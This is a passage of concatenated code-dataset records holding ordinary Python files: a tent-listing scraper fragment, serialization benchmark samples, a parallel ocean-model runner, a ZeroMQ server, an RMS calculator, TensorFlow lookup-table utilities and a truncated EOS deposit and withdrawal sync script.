\"https://www.rei.com/c/backpacking-tents?ir=category%3Abackpacking-tents&r=category%3Acamping-and-hiking%7Ctents%7Cbackpacking-tents%3Bsleeping-capacity%3A3-person%3Bseasons%3A3-season%3Bbest-use%3ABackpacking%3Bdesign-type%3AFreestanding%3Bweight-lbs%3A3%20to%204.99%3Bprice%3A%24200.00%20to%20%24499.99\"\ntentClassMarker = \"_2hd2hZzWXqYu7ZUGWvZw70\"\nreiUrl = \"https://www.rei.com/\"\n\nuClientAllTents = uReq(allTentsUrl)\nhtmlAllTents = uClientAllTents.read()\nuClientAllTents.close()\n\npageSoupAllTents = soup(htmlAllTents, \"html.parser\")\n\ntentContainers = pageSoupAllTents.findAll(\"li\", {\"class\":tentClassMarker})\n\n\n#%%\n\nimport pdb \n#pdb.set_trace()\nallTentsInfo = [0] * len(tentContainers)\n\nallTentsInfo = dict()\n\nfor i in range(len(tentContainers)):\n#for i in range(5, 6):\n    if i == 2:\n        x = 1\n        pdb.set_trace()\n        \n    contain = tentContainers[i]\n    \n    (tentName, pageSoupTent) = nameAndHTML(contain)\n    \n    if (i == 0):\n        allTentsInfo = initializeDict(pageSoupTent)\n    \n    specsDetails(pageSoupTent, allTentsInfo)\n    priceDetails(pageSoupTent, allTentsInfo)\n\n    allTentsInfo[\"Tent Name\"].append(tentName)\n\n","repo_name":"sturmdan/rei-tents-web-scraping","sub_path":"old versions - different implementation/tents2.py","file_name":"tents2.py","file_ext":"py","file_size_in_byte":7099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43890188679","text":"import datetime\nimport random\nimport uuid\nfrom decimal import Decimal\n\nfrom benchmark.enums import *\n\nN = 20\n\nsample_1 = {\n    \"list_simple\": [\n        {\n            \"int\": 42,\n            \"float\": 3.14,\n            \"str\": \"foo bar\",\n            \"bool\": True,\n        }\n        for _ in range(N)\n    ],\n    \"list_enum\": [\n        {\n            \"enum\": \"letter a\",\n            \"str_enum\": \"letter b\",\n            \"int_enum\": 1,\n            \"flag\": 2,\n            \"int_flag\": 1,\n        }\n        for _ in range(N)\n    ],\n    \"tuple_datetime\": [\n        {\n            \"datetime\": \"2017-01-06T11:16:21.753790\",\n            \"date\": \"2017-01-06\",\n            \"time\": \"11:16:21.753790\",\n            \"timedelta\": 34234.324234,\n        }\n        for _ in range(N)\n    ],\n    \"dict_complex\": {\n        i: {\n            str(j): {\n                str(uuid.uuid4()): [str(random.random()) for _ in range(N)]\n            }\n            for j in range(N)\n        }\n        for i in range(N)\n    },\n}\n\n\nsample_2 = {\n    \"list_simple\": [\n        {\n            \"int\": 42,\n            \"float\": 3.14,\n            \"str\": \"foo bar\",\n            \"bool\": True,\n        }\n        for _ in range(N)\n    ],\n    \"list_enum\": [\n        {\n            \"enum\": MyEnum.a,\n            \"str_enum\": MyStrEnum.b,\n            \"int_enum\": MyIntEnum.a,\n            \"flag\": MyFlag.b,\n            \"int_flag\": MyIntFlag.a,\n        }\n        for _ in range(N)\n    ],\n    \"tuple_datetime\": (\n        {\n            \"datetime\": datetime.datetime(2017, 1, 6, 11, 16, 21, 753790),\n            \"date\": datetime.date(2017, 1, 6),\n            \"time\": datetime.time(11, 16, 21, 753790),\n            \"timedelta\": datetime.timedelta(\n                seconds=34234, microseconds=324234\n            ),\n        }\n        for _ in range(N)\n    ),\n    \"dict_complex\": {\n        i: {\n            str(j): {\n                uuid.uuid4(): [Decimal(random.random()) for _ in range(N)]\n            }\n            for j in range(N)\n        }\n        for i in range(N)\n    },\n}\n","repo_name":"peterallenwebb/mashumaro","sub_path":"benchmark/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"7044225635","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb  3 19:09:22 2020\n\n@author: Markus Dunkel\n\"\"\"\n\nimport ray \nimport init\nimport domain as do\nimport makefile as mf\nimport schedule_functions as mfunc\nimport time\nimport numpy as np\nimport variables as var\n\n@ray.remote \nclass Processing():\n    \"\"\"\n    This class initate parallel processing of the output data like saving it in \n    an output file.  \n    \"\"\"\n    def __init__(self, o, sub_slices):\n        self.out = mf.OutputCompilation( o )\n        self.sub_handles = []\n        self.sub_slices = sub_slices\n        self.mode_num = o.mode_num\n        self.shape = (o.N_y, o.N_x, o.N_z)\n        self.av_window = o.av_window\n        self.zon_sect = o.zon_sect\n        self.mer_sect = o.mer_sect\n        self.variable_names = o.variable_names\n        self.vars = dict()\n        \n        \n        for name in self.variable_names:\n            self.vars[name] = var.TwoD( \n                    np.zeros((self.shape[0], self.shape[1])), \n                    self.mode_num, (0,0) )\n        \n        \n    def gather(self, handles, sub_slices):\n       \"\"\"Collect variable from subdomains into a global array.\"\"\"\n       \n       for s in range(len(handles)):\n           \n           diclo = ray.get(handles[s].send_variables_to_global_domain.remote())\n           for key, value in diclo.items():\n               if key in self.variable_names:\n                   self.vars[key].add_to_all_modes( \n                       diclo[key].get_all_modes(\n                           diclo[key]._local_slice), sub_slices[s] )\n               \n  \n    def process_data(self, o, t, domain_handles):\n        \"\"\"\n        main function to process the output.\n        \"\"\"\n        out_start = time.time()\n        self.gather( domain_handles, self.sub_slices )\n        \n        if t in o.av_steps:\n            for key, val in self.vars.items():\n                for i in range(self.mode_num):\n                    val.data[i] /= self.av_window\n                    \n            names = []\n            for name in self.out.file_names:\n                if name in self.out.continous_rep:\n                    names.append(name)\n                    \n                if t in o.save_time_steps: \n                    if name in self.out.sample_rep:\n                        names.append(name)\n        \n            self.out.write_to_ncfile(t, self.vars, names)\n            \n            for val in self.vars.values():\n               for i in range(self.mode_num):\n                   val.data[i][:] = 0\n            \n        out_end = time.time()\n        print('Step ' + str(t) + ': Writing to output took ' + \n            str(out_end-out_start) + ' seconds.')\n        \n    def send_class_copy_to_local_node(self):\n        \"\"\"\n        send a copy of the class to the global scope. \n        \"\"\"\n        return self\n\n\nray.shutdown()\nray.init()\n\n\no = init.MetaData()\no_id = ray.put( o )\n\nmain = do.Domain(o)\n\n#initialization of all fields\nmain.create_var( o.mode_num, 'u', 'v', 'h', 'w', 'vmix_u', 'vmix_v', 'vmix_h', \n                'nl_u', 'nl_v', 'nl_h',\n                'gu_nm1', 'gv_nm1', 'gh_nm1', 'gu_nm2', 'gv_nm2', 'gh_nm2' )\n\n\n#Simple way to check if domain communication is done right. \n#Not part of the model. \nnumber_grid = False\n\nif number_grid:\n    k=1\n    for i in range(o.N_y):\n        for j in range(o.N_x):\n            main.vars['u'].write_to_all_modes( \n                np.array([k]), (slice(i, i+1), slice(j, j+1)) )\n            main.vars['v'].write_to_all_modes( \n                np.array([k]), (slice(i, i+1), slice(j, j+1)) )\n            main.vars['h'].write_to_all_modes( \n                np.array([k]), (slice(i, i+1), slice(j, j+1)) )\n            k+=1\n\nsub = do.Checkerboard2D( main, o )\ndomain_handles = sub.subdomains\nsub.subdomains = None\n\n# stateful worker for processing the model output. \nif o.save_output: \n    output_handle = Processing.remote( o, sub.sub_slices )\n    processing_ids = []\n\n#==============================================================================\n#------------------------- Start Model Integration ----------------------------\n#==============================================================================\nobj1_ids = []\nproc_id = []\nstart_all = time.time() \nfor t in range(o.max_time_step):\n    \n    end_all = time.time()\n    print('step ' + str(t-1) + ' took ' + str(end_all-start_all) + ' seconds.')\n    print(t)\n    start_all = time.time()\n    \n    obj2_ids = []\n    for s in range(sub.sub_num):\n        obj2_ids.append( mfunc.compute_w.remote(domain_handles[s], o_id) )\n    \n    #--------------------------------------------------------------------------\n    # Computation of non-linear forcing \n        \n    if (o.use_non_linear is True):\n        \n        if o.nonlinear_split == 'equation_split':\n            for s in range(sub.sub_num):\n                obj2_ids.append( \n                    mfunc.compute_nonlinear_u.remote( \n                        domain_handles[s], o_id ) )\n                obj2_ids.append( \n                    mfunc.compute_nonlinear_v.remote( \n                        domain_handles[s], o_id ) )\n                obj2_ids.append( \n                    mfunc.compute_nonlinear_h.remote( \n                        domain_handles[s], o_id ) )\n            \n        elif o.nonlinear_split == 'free_split':\n            obj3_ids = []\n            for s in range(sub.sub_num):\n                obj3_ids.append( \n                    domain_handles[s].update_variables_via_TwoD_like.remote(\n                    {'nl_u': 0, 'nl_v': 0, 'nl_h': 0} ) )\n                ray.wait(obj3_ids, num_returns = len(obj3_ids))\n                for name in o.term_division.keys():\n                    obj2_ids.append( \n                    mfunc.compute_nonlinear_free_split.remote( \n                        domain_handles[s], o_id, o.term_division[name] ) )        \n      \n    ray.wait(obj2_ids, num_returns = len(obj2_ids))\n    ray.wait(obj1_ids, num_returns = len(obj1_ids))\n    \n    #--------------------------------------------------------------------------\n    #SWM integration\n    \n    start_swm = time.time()\n    obj_ids = []\n    # model state of each subdomain is pushed forward \n    for s in range(sub.sub_num):\n        for i in range(o.swm_split):\n            bunch_of_swm = o.swm_keys[i]\n            obj_ids.append( \n                mfunc.integrate_SWM.remote( \n                    domain_handles[s], t, o_id, bunch_of_swm ) )\n    ray.wait(obj_ids, num_returns = len(obj_ids))\n    end_swm = time.time()\n    print('SWM integration takes ' + str(end_swm-start_swm) + ' seconds.')\n    \n    #-------------------------------------------------------------------------- \n    # Computation of vertical mixing with constant eddy viscosity.\n    \n    if (o.use_uniform_mixing is True):\n       obj1_ids = []\n       if o.mixing_split:\n           for s in range(sub.sub_num):\n               obj1_ids.append( \n                   mfunc.compute_vertical_mixing_h.remote( \n                       domain_handles[s], o_id ) )\n               obj1_ids.append( \n                   mfunc.compute_vertical_mixing_u.remote( \n                       domain_handles[s], o_id ) )\n               obj1_ids.append( \n                   mfunc.compute_vertical_mixing_v.remote( \n                       domain_handles[s], o_id ) )\n          \n       else:\n           for s in range(sub.sub_num):\n               obj1_ids.append( \n                   mfunc.compute_vertical_mixing.remote( \n                       domain_handles[s], o_id ) )        \n      \n    #--------------------------------------------------------------------------\n    # Applying boundary conditions and subdomain communication.\n               \n    obj_ids = []\n    for s in range(sub.sub_num):\n        obj_ids.append( \n            mfunc.apply_boundary_conditions.remote( \n                domain_handles[s], o_id ) )\n    ray.wait(obj_ids, num_returns = len(obj_ids))\n    \n    start_com = time.time()\n    # Communication between subdomains. Communication for each subdomain is \n    #initated in the order as defined in 'sub.schedule'\n    for c in range(len(sub.schedule)):\n        obj_ids = []\n        for s in sub.schedule[c]:\n            obj_ids.append( \n                domain_handles[s].communication_between_subdomains.remote( \n                    domain_handles, 'u','v','h' ) ) \n        ray.wait(obj_ids, num_returns = len(obj_ids)) \n    \n    end_com = time.time()\n    print('Communication takes ' + str(end_com-start_com) + ' seconds.')\n    ray.wait(obj_ids, num_returns = len(obj_ids)) \n\n    #--------------------------------------------------------------------------\n    # processing of the model output\n    \n    if o.save_output:\n        ray.wait(proc_id, num_returns = len(proc_id))\n        proc_id = []\n        proc_id.append( \n            output_handle.process_data.remote(o_id, t, domain_handles) )\n    \n#==============================================================================\n#------------------------- End Model Integration ------------------------------\n#============================================================================== \n        \nsubrun_local_copies=[]\nfor i in range(sub.sub_num):\n    subrun_local_copies.append( ray.get(\n        domain_handles[i].send_class_copy_to_local_node.remote()\n        ) )\n    \nmain.gather( domain_handles, sub.sub_slices ) \n \nif o.save_output:   \n    process_copy= ray.get(output_handle.send_class_copy_to_local_node.remote()) \n    \n  \nray.shutdown()\n","repo_name":"MarkusDunkel/multimode_model_oceans","sub_path":"model/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9429,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"18474363811","text":"import zmq\nimport time\nimport random\n\ncontext = zmq.Context()\nsocket = context.socket(zmq.REP)\nsocket.bind(\"tcp://*:5678\")\n\n# Socket \n\nwhile True:\n    message = socket.recv()\n    print(\"Received request: %s\" % message)\n\n    time.sleep(2)\n\n    socket.send_string(str(random.random()))\n\n\n\n","repo_name":"ganioc/python-study-prj","sub_path":"project/zmq_s/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21442781427","text":"import math\ndef calc(should_print=False):\n\n    print(\"\"\"\n    Name: Root mean square function\n    Operation : Root mean square of given list of numbers\n    Inputs : list -> int\n    Outputs: Root mean square of list ->float\n    Author : Apoorva-Datir\n    \\n\n    \"\"\")\n\n    n = int(input(\"Enter number of elements : \"))\n    a = list(map(int,input(\"\\nEnter the numbers : \").strip().split()))[:n]\n    square = 0\n    mean = 0.0\n    root = 0.0\n    for i in range(0,n):\n\n        #calculate square\n        square += (a[i]**2)\n\n        #calculate mean\n        mean = (square / (float)(n))\n\n        #calculate root\n        root = math.sqrt(mean)\n\n\n    print(\"\\nThe Root mean square of numbers is :\",root)\n\n    result = {}\n    result['inputs'] = [n]\n    result['outputs'] = [root]\n\n    if should_print:\n        print(f\"Solution {result['outputs'][0]}\")\n    else:\n        return result\n","repo_name":"pccoeacm/all-calc","sub_path":"functions/Root-mean-square.py","file_name":"Root-mean-square.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"15424891132","text":"import collections\nimport os\nimport numpy as np\n\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import sparse_tensor\nfrom tensorflow.python.keras.utils import tf_utils\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import lookup_ops\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import string_ops\nfrom tensorflow.python.ops.ragged import ragged_functional_ops\nfrom tensorflow.python.ops.ragged import ragged_tensor\nfrom tensorflow.python.ops.ragged import ragged_tensor_value\nfrom tensorflow.python.platform import gfile\n\n\nclass TableHandler(object):\n  \"\"\"Wrapper object that holds a lookup table and provides accessors.\"\"\"\n\n  def __init__(self,\n               table,\n               oov_tokens=None,\n               mask_token=None,\n               mask_value=0):\n    self.table = table\n    self.mutable = isinstance(table, lookup_ops.MutableHashTable)\n    self.mask_token = mask_token\n    self.mask_value = mask_value\n\n    if oov_tokens is None:\n      self.oov_tokens = oov_tokens\n    else:\n      if not isinstance(oov_tokens, (list, tuple, np.ndarray)):\n        oov_tokens = [oov_tokens]\n      self.oov_tokens = math_ops.cast(oov_tokens, table._value_dtype)  # pylint: disable=protected-access\n\n  def table_size(self):\n    return self.table.size().numpy()\n\n  def clear(self):\n    if not self.mutable:\n      return RuntimeError(\"Unable to clear a statically-backed table.\")\n\n    keys, _ = self.table.export()\n    self.table.remove(keys)\n\n  def insert(self, keys, values):\n    \"\"\"Insert values into the backed table.\"\"\"\n    if not self.mutable:\n      raise RuntimeError(\"Unable to insert into a statically-backed table.\")\n\n    if len(values) != len(keys):\n      raise RuntimeError(\"Size mismatch between values and key arrays. \"\n                         \"Keys had size %s, values had size %s.\" %\n                         (len(keys), len(values)))\n    keys = ops.convert_to_tensor_v2_with_dispatch(\n        keys, dtype=self.table._key_dtype)  # pylint: disable=protected-access\n    values = ops.convert_to_tensor_v2_with_dispatch(\n        values, dtype=self.table._value_dtype)  # pylint: disable=protected-access\n    if values.shape.ndims != 1:\n      raise ValueError(\"`values` must be 1-dimensional, got an input with \"\n                       \" %s dimensions.\" % values.shape.ndims)\n    self.table.insert(keys, values)\n\n  def _replace_oov_buckets(self, inputs, lookups):\n    \"\"\"Replace the default OOV value with one of the OOV bucket values.\"\"\"\n    if self.oov_tokens is None:\n      return lookups\n\n    num_oov_elements = self.oov_tokens.shape.num_elements()\n    if inputs.dtype.is_integer:\n      oov_indices = math_ops.floormod(inputs, num_oov_elements)\n    else:\n      oov_indices = string_ops.string_to_hash_bucket_fast(\n          inputs, num_buckets=num_oov_elements)\n\n    oov_values = array_ops.gather(self.oov_tokens, oov_indices)\n    oov_locations = math_ops.equal(lookups, self.table._default_value)  # pylint: disable=protected-access\n\n    return array_ops.where(oov_locations, oov_values, lookups)\n\n  def _lookup_and_mask(self, inputs):\n    \"\"\"Return a lookup with any location with the mask_token masked to 0.\"\"\"\n    lookups = self.table.lookup(inputs)\n    # If we don't need to handle masking, return the lookup values directly.\n    if self.mask_token is None:\n      return lookups\n\n    # Inject 0s wherever the mask token was in the inputs.\n    mask_locations = math_ops.equal(inputs, self.mask_token)\n    return array_ops.where_v2(\n        mask_locations,\n        math_ops.cast(self.mask_value, self.table._value_dtype),  # pylint: disable=protected-access\n        lookups)  # pylint: disable=protected-access\n\n  def _ragged_lookup(self, inputs):\n    \"\"\"Perform a table lookup on a ragged tensor.\"\"\"\n    # The table lookup ops don't natively support ragged tensors, so if we have\n    # a RT we need to use map_flat_values to look up every element.\n    indexed_data = ragged_functional_ops.map_flat_values(\n        self._lookup_and_mask, inputs)\n    indexed_data = ragged_functional_ops.map_flat_values(\n        self._replace_oov_buckets, inputs, indexed_data)\n    # table.lookup is not shape-preserving, so we need to set the shape here.\n    indexed_data._set_shape(inputs.shape)  # pylint: disable=protected-access\n    # Composite tensors can pass tensor values through, which will cause\n    # errors if all operations in the TF graph do so. We can break this chain\n    # with an identity here.\n    return array_ops.identity(indexed_data)\n\n  def _sparse_lookup(self, inputs):\n    \"\"\"Perform a table lookup on a sparse tensor.\"\"\"\n    values = self._lookup_and_mask(inputs.values)\n    values = self._replace_oov_buckets(inputs.values, values)\n    indexed_data = sparse_tensor.SparseTensor(inputs.indices, values,\n                                              inputs.dense_shape)\n    # Composite tensors can pass tensor values through, which will cause\n    # errors if all operations in the TF graph do so. We can break this chain\n    # with an identity here.\n    return array_ops.identity(indexed_data)\n\n  def _tensor_lookup(self, inputs):\n    \"\"\"Perform a table lookup on a tf.tensor.\"\"\"\n    values = self._lookup_and_mask(inputs)\n    indexed_data = self._replace_oov_buckets(inputs, values)\n    # (b/149446477): output does not preserve input shape.\n    indexed_data.set_shape(inputs.shape)\n    return indexed_data\n\n  def lookup(self, inputs):\n    \"\"\"Perform a table lookup.\"\"\"\n    # Sparse tensors don't play nicely with tensor conversion, so we handle\n    # them before attempting to convert lists or arrays to tensors.\n    if isinstance(\n        inputs, (sparse_tensor.SparseTensor, sparse_tensor.SparseTensorValue)):\n      return self._sparse_lookup(inputs)\n\n    if tf_utils.is_ragged(inputs):\n      if isinstance(inputs, ragged_tensor_value.RaggedTensorValue):\n        flat_values = ops.convert_to_tensor_v2_with_dispatch(\n            value=inputs.flat_values, name=\"flat_values\")\n        inputs = ragged_tensor.RaggedTensor.from_nested_row_splits(\n            flat_values, inputs.nested_row_splits, validate=False)\n      return self._ragged_lookup(inputs)\n\n    # For normal tensor inputs\n    inputs = ops.convert_to_tensor_v2_with_dispatch(inputs)\n    return self._tensor_lookup(inputs)\n\n\ndef num_tokens_in_file(vocabulary_path):\n  \"\"\"Count the number of lines in a vocab file to get the number of tokens.\"\"\"\n  num_tokens = 0\n  with gfile.GFile(vocabulary_path, \"r\") as reader:\n    text = reader.readline()\n    while text:\n      num_tokens += 1\n      text = reader.readline()\n\n  return num_tokens\n\n\ndef get_vocabulary_from_file(vocabulary_path, encoding=\"utf-8\"):\n  \"\"\"Read a vocabulary in from a file.\"\"\"\n  vocab = []\n  with gfile.GFile(vocabulary_path, \"r\") as reader:\n    while True:\n      # Get the next line (incl. \\n), and break if nothing is left to read.\n      text = reader.readline()\n      if not text:\n        break\n\n      # Convert the raw text and strip whitespace.\n      if isinstance(text, str):\n        token = text\n      elif isinstance(text, bytes):\n        token = text.decode(encoding, \"ignore\")\n      token = token.rstrip(os.linesep)\n      vocab.append(token)\n  return vocab\n\n\ndef find_repeated_tokens(vocabulary):\n  \"\"\"Return all repeated tokens in a vocabulary.\"\"\"\n  vocabulary_set = set(vocabulary)\n  if len(vocabulary) != len(vocabulary_set):\n    return [\n        item for item, count in collections.Counter(vocabulary).items()\n        if count > 1\n    ]\n  else:\n    return []\n","repo_name":"graphcore/tensorflow","sub_path":"tensorflow/python/keras/layers/preprocessing/table_utils.py","file_name":"table_utils.py","file_ext":"py","file_size_in_byte":7501,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"3"}
+{"seq_id":"71491657682","text":"import sys\nimport time\nfrom pathlib import Path\n\npro_name = \"TokenPark\"\ncurrent_path = str(Path(__file__).resolve())\nimport_index = current_path.rfind(pro_name)\nimport_path = current_path[:import_index + len(pro_name)]\npath_flag = True if not import_path in sys.path else False\nif path_flag:\n    sys.path.append(import_path)\n\nfrom tools.mysql_tool import MysqlTools\nfrom models.sync_block_model import SyncBlockModel\nfrom models.token_node_conf_model import TokenNodeConfModel\nfrom models.tx_list_eos_model import TxListEosModel\nfrom models.wallet_eos_model import WalletEosModel\nfrom models.foreign_withdraw_order_record_model import ForeignWithdrawOrderRecordModel\nfrom models.token_conf_model import TokenConfModel\nfrom models.tx_listening_eos_model import TxListeningEosModel\nfrom models.wallet_eos_gather_model import WalletEosGatherModel\nfrom services.wallet_callback_service import WalletCallbackService\nfrom utils.util import get_decimal, generate_order_no\nfrom common_settings import *\nfrom utils.log import Slog\nfrom config import get_env\n\n# 第一个事,获取当前最新区块号,同步所有区块,一分钟一次\n\n\nclass TokenSyncRechargeWithdrawScript(object):\n    ec = None\n    sync_success = _ONE\n    sync_fail = _ZERO\n    eos_coin_id = _COIN_ID_EOS\n    slog = Slog(\"token_sync_recharge_withdraw_script\")\n    mysql_tool = MysqlTools()\n    wait_lottery_dict = {}\n    eos_gather_address = _EOS_RECHARGE_ADDRESS[get_env()]\n    wallet_callback = None\n    withdraw_online_success = _FOUR_S\n    withdraw_offline_success = _SEVEN_S\n    withdraw_success = _TWO_S\n\n    def __init__(self):\n        pass\n\n    def work(self):\n        # 逻辑:\n        # 1. 查询SyncBlockModel trace_count\n        # 2. 调EosPark get_account_related_trx_info 第一页 如果和 trace_count 相同 返回查询完成\n        # 3. 如果不相同 查询tx_list_eos的列表\n        # 4. 遍历所有的 get_account_related_trx_info 从第二页开始,直到返回空, 拼接list\n        # 5. 遍历list 找到符合条件的 充值交易,并且在 tx_list_eos的列表里没有的,通过交易hash判断, 遍历listening list 找到符合条件的 提现交易\n        # 6. 插入tx_list_eos新的充值记录 更新 listening list 提现记录表\n        # 7. 同时 通知永涛回调 并 记录状态 充值 和 提现\n\n        trace_count = self.get_trace_count()\n        remote_trace_count = self.get_account_related_trx_info().get(\"trace_count\")\n        if remote_trace_count == trace_count:\n            return True\n        tx_eos_list = self.get_tx_eos_list()  # 充值记录表\n        tx_listening_eos_dict = self.get_tx_listening_eos_dict()  # 提现记录表\n        account_related_trx_info_list = self.get_account_related_trx_info_list()\n        if not account_related_trx_info_list:  # 账户的actions是空的\n            return True\n        account_related_trx_info_recharge_dict = {}\n        account_related_trx_info_withdraw_dict = {}\n        for account_related_trx_info in account_related_trx_info_list:\n            trx_id = account_related_trx_info.get(\"trx_id\", \"\")\n            if trx_id and trx_id not in tx_eos_list:\n                receiver = account_related_trx_info.get(\"receiver\", \"\")\n                if receiver == self.eos_gather_address:\n                    memo = account_related_trx_info.get(\"memo\", \"\").strip()\n                    if len(memo) == _EIGHT and memo[_ZERO] == _ONE_S:\n                        try:\n                            sub_account_address = int(memo)\n                        except:\n                            continue\n                        status = account_related_trx_info.get(\"status\", \"\")\n                        symbol = account_related_trx_info.get(\"symbol\", \"\")\n                        code = account_related_trx_info.get(\"code\", \"\")\n                        if status == \"executed\" and symbol == \"EOS\" and code == \"eosio.token\":\n                            quantity = account_related_trx_info.get(\"quantity\", \"\")\n                            sender = account_related_trx_info.get(\"sender\", \"\")\n                            timestamp = account_related_trx_info.get(\"timestamp\", \"\")\n                            block_num = account_related_trx_info.get(\"block_num\", \"\")\n                            account_related_trx_info_recharge_dict[trx_id] = {\n                                \"quantity\": quantity,\n                                \"sender\": sender,\n                                \"timestamp\": timestamp,\n                                \"block_num\": block_num,\n                                \"address\": str(sub_account_address),\n                            }\n            if trx_id and trx_id in tx_listening_eos_dict:\n                sender = account_related_trx_info.get(\"sender\", \"\")\n                if sender == self.eos_gather_address:\n                    memo = account_related_trx_info.get(\"memo\", \"\").strip()\n                    status = account_related_trx_info.get(\"status\", \"\")\n                    symbol = account_related_trx_info.get(\"symbol\", \"\")\n                    code = account_related_trx_info.get(\"code\", \"\")\n                    if status == \"executed\" and symbol == \"EOS\" and code == \"eosio.token\":\n                        quantity = account_related_trx_info.get(\"quantity\", \"\")\n                        receiver = account_related_trx_info.get(\"receiver\", \"\")\n                        timestamp = account_related_trx_info.get(\"timestamp\", \"\")\n                        block_num = account_related_trx_info.get(\"block_num\", \"\")\n                        account_related_trx_info_withdraw_dict[trx_id] = {\n                            \"quantity\": quantity,\n                            \"receiver\": receiver,\n                            \"timestamp\": timestamp,\n                            \"block_num\": block_num,\n                            \"order_no\": tx_listening_eos_dict[trx_id][\"order_no\"],\n                            \"record_no\": tx_listening_eos_dict[trx_id][\"record_no\"],\n                            \"source_status\": tx_listening_eos_dict[trx_id][\"source_status\"],\n                            \"memo\": memo,\n                        }\n        self.process_notify_and_insert(account_related_trx_info_recharge_dict, account_related_trx_info_withdraw_dict)\n\n        # 记录当前侦听过的EOSPark的交易数\n        self.update_trace_count(remote_trace_count)\n\n        return True\n\n    def get_trace_count(self):\n        trace_count = _ZERO\n        with self.mysql_tool.session_scope() as session:\n            trace_count_model = session.query(SyncBlockModel.trace_count).filter(SyncBlockModel.coin_id == self.eos_coin_id).first()\n            if trace_count_model:\n                trace_count = int(trace_count_model[_ZERO])\n            return trace_count\n\n    def update_trace_count(self, remote_trace_count):\n        with self.mysql_tool.session_scope() as session:\n            trace_count_model = session.query(SyncBlockModel).filter(SyncBlockModel.coin_id == self.eos_coin_id).first()\n            if trace_count_model:\n                trace_count_model.trace_count = str(remote_trace_count)\n            session.commit()\n        return True\n\n    def get_account_related_trx_info(self, page=None):\n        if not self.ec:\n            self.ec = TokenNodeConfModel.get_eos_node_script(script_unit=_TWO_S)\n\n        account_related_trx_info = self.ec.http_get_account_related_trx_info(page=page, account=self.eos_gather_address)\n        if not account_related_trx_info.get(\"trace_count\", \"\"):\n            raise Exception(\"EOSPark node get_account_related_trx_info has error!\")\n        return account_related_trx_info\n\n    def get_tx_eos_list(self):\n        with self.mysql_tool.session_scope() as session:\n            tx_eos_list = []\n            tx_eos_list_tuple_list = session.query(TxListEosModel.tx_no).all()\n            if tx_eos_list_tuple_list:\n                for i in tx_eos_list_tuple_list:\n                    tx_eos_list.append(i[_ZERO])\n            return tx_eos_list\n\n    def get_tx_listening_eos_dict(self):\n        with self.mysql_tool.session_scope() as session:\n            tx_eos_dict = {}\n            tx_listening_eos_model_list = session.query(TxListeningEosModel).filter(TxListeningEosModel.listen_flag == _ONE).all()\n            if tx_listening_eos_model_list:\n                for tx_listening_eos_model in tx_listening_eos_model_list:\n                    tx_no = tx_listening_eos_model.tx_no\n                    order_no = tx_listening_eos_model.order_no\n                    record_no = tx_listening_eos_model.record_no\n                    source_status = tx_listening_eos_model.source_status\n                    tx_eos_dict[tx_no] = {\"order_no\": order_no, \"record_no\": record_no, \"source_status\": source_status}\n            return tx_eos_dict\n\n    def get_account_related_trx_info_list(self):\n        account_related_trx_info_list = []\n        page = _ONE\n        while True:\n            tmp_get_account_related_trx_info = self.get_account_related_trx_info(page)\n            trace_list = tmp_get_account_related_trx_info.get(\"trace_list\", \"\")\n            if not trace_list:\n                break\n            for tmp_trx_info in trace_list:\n                account_related_trx_info_list.append(tmp_trx_info)\n            page += _ONE\n            time.sleep(0.5)\n        return account_related_trx_info_list\n\n    def process_notify_and_insert(self, account_related_trx_info_dict, account_related_trx_info_withdraw_dict):\n        # tx_list_eos_model_list = []\n        if not self.wallet_callback:\n            self.wallet_callback = WalletCallbackService()\n\n        with self.mysql_tool.session_scope() as session:\n            # 提现手续费\n            withdraw_actual_fee = 0.02\n            token_conf_model = session.query(TokenConfModel).filter(TokenConfModel.coin_id == self.eos_coin_id).first()\n            if token_conf_model:\n                withdraw_actual_fee = token_conf_model.withdraw_fee\n            # 充值\n            for trx_id, trx_info in account_related_trx_info_dict.items():\n                transaction_id = generate_order_no()\n                sub_public_address = trx_info[\"address\"]\n                token_amount = get_decimal(trx_info[\"quantity\"], digits=_TEN)\n                do_recharge_result = \"\"\n                wallet_eos_model = session.query(WalletEosModel).filter(WalletEosModel.sub_public_address == sub_public_address).with_for_update().first()\n                wallet_eos_gather_model = session.query(WalletEosGatherModel).filter(WalletEosGatherModel.sub_public_address == self.eos_gather_address).with_for_update().first()\n                if wallet_eos_model:\n                    # 加钱 给 账户钱包\n                    wallet_eos_model.amount += token_amount\n                    wallet_eos_gather_model.amount += token_amount\n                    # 通知 账户模块\n                    account_id = wallet_eos_model.account_id\n                    do_recharge_result = self.wallet_callback.recharge_notify_callback(account_id, token_amount, self.eos_coin_id, sub_public_address, transaction_id)\n                    # 存充值记录表\n                tmp_tx_list_eos_model = TxListEosModel(\n                    tx_id=transaction_id,\n                    tx_no=trx_id,\n                    block_no=trx_info[\"block_num\"],\n                    value=token_amount,\n                    address=sub_public_address,\n                    sender=trx_info[\"sender\"],\n                    do_recharge_result=do_recharge_result,\n                )\n                session.add(tmp_tx_list_eos_model)\n                session.commit()\n            # 提现\n            for withdraw_trx_id, withdraw_trx_info in account_related_trx_info_withdraw_dict.items():\n                withdraw_actual_amount = get_decimal(withdraw_trx_info[\"quantity\"], digits=_TEN)\n                foreign_withdraw_model = session.query(ForeignWithdrawOrderRecordModel).filter(ForeignWithdrawOrderRecordModel.order_no == withdraw_trx_info[\"record_no\"]).first()\n                if foreign_withdraw_model:\n                    account_id = foreign_withdraw_model.account_id\n                    order_no = foreign_withdraw_model.order_no\n                    req_no = foreign_withdraw_model.req_no\n                    withdraw_result = self.withdraw_offline_success if 